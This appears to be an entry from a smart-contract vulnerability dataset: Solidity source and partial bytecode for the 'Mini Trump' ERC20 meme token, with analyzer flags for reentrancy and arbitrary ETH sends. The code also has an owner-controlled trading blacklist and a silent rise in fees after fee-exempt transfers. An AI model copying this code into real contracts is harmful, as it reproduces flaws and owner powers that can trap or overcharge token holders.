7f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610544565b6001600160a01b03821660009081526007602052604090205442116110b85760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610544565b600d54816110c58461060d565b6110cf9190611c0b565b111561111d5760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610544565b61112842601e611c0b565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561116d57506012546001600160a01b03848116911614155b801561119257506001600160a01b03831660009081526005602052604090205460ff16155b156111a2576001600e55600c600f555b43600b5460036111b29190611c0b565b101580156111cd57506013546001600160a01b038481169116145b156111dd576001600e556063600f555b60006111e83061060d565b600c54909150811080159081906112095750601354600160a81b900460ff16155b801561122357506013546001600160a01b03868116911614155b80156112385750601354600160b01b900460ff165b1561125857611246826112b4565b47801561125657611256476114c1565b505b505061126a565b6000600e819055600f555b611275838383611546565b505050565b6000818484111561129e5760405162461bcd60e51b81526004016105449190611b10565b5060006112ab8486611c64565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fc576112fc611c91565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135057600080fd5b505afa158015611364573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138891906119cc565b8160018151811061139b5761139b611c91565b6001600160a01b0392831660209182029290920101526012546113c19130911684610c6f565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fa908590600090869030904290600401611b9a565b600060405180830381600087803b15801561141457600080fd5b505af1158015611428573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114a45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610544565b60006114ae611551565b90506114ba8382611574565b9392505050565b6010546001600160a01b03166108fc6114db836002611574565b6040518115909202916000818181858888f19350505050158015611503573d6000803e3d6000fd5b506011546001600160a01b03166108fc61151e836002611574565b6040518115909202916000818181858888f19350505050158015610b4e573d6000803e3d6000fd5b6112758383836115b6565b600080600061155e6116ad565b909250905061156d8282611574565b9250505090565b60006114ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f1565b6000806000806000806115c88761171f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115fa908761177c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461162990866117be565b6001600160a01b03891660009081526002602052604090205561164b8161181d565b6116558483611867565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169a91815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af68000006116ca8282611574565b8210156116e85750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836117125760405162461bcd60e51b81526004016105449190611b10565b5060006112ab8486611c23565b600080600080600080600080600061173c8a600e54600f5461188b565b925092509250600061174c611551565b9050600080600061175f8e8787876118e0565b919e509c509a509598509396509194505050505091939550919395565b60006114ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127a565b6000806117cb8385611c0b565b9050838110156114ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610544565b6000611827611551565b905060006118358383611930565b3060009081526002602052604090205490915061185290826117be565b30600090815260026020526040902055505050565b600854611874908361177c565b60085560095461188490826117be565b6009555050565b60008080806118a5606461189f8989611930565b90611574565b905060006118b8606461189f8a89611930565b905060006118d0826118ca8b8661177c565b9061177c565b9992985090965090945050505050565b60008080806118ef8886611930565b905060006118fd8887611930565b9050600061190b8888611930565b9050600061191d826118ca868661177c565b939b939a50919850919650505050505050565b60008261193f575060006104ab565b600061194b8385611c45565b9050826119588583611c23565b146114ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610544565b6000602082840312156119c157600080fd5b81356114ba81611ca7565b6000602082840312156119de57600080fd5b81516114ba81611ca7565b600080604083850312156119fc57600080fd5b8235611a0781611ca7565b91506020830135611a1781611ca7565b809150509250929050565b600080600060608486031215611a3757600080fd5b8335611a4281611ca7565b92506020840135611a5281611ca7565b929592945050506040919091013590565b60008060408385031215611a7657600080fd5b8235611a8181611ca7565b946020939093013593505050565b600060208284031215611aa157600080fd5b81356114ba81611cbc565b600060208284031215611abe57600080fd5b81516114ba81611cbc565b600060208284031215611adb57600080fd5b5035919050565b600080600060608486031215611af757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611b3d57858101830151858201604001528201611b21565b81811115611b4f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bea5784516001600160a01b031683529383019391830191600101611bc5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c1e57611c1e611c7b565b500190565b600082611c4057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c5f57611c5f611c7b565b500290565b600082821015611c7657611c76611c7b565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146105c257600080fd5b80151581146105c257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122077604129206820b900f0eba022c3d4ac850a63d06f1a3517af8d3346883251b964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,064 |
0xe1ada74c19e116ce44efaa00829ede3ec54b42ea
|
//Telegram https://t.me/minitrumptoken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MiniTrump is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Mini Trump";
string private constant _symbol = "MINITRUMP";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f4d696e69205472756d7000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d494e495452554d500000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473f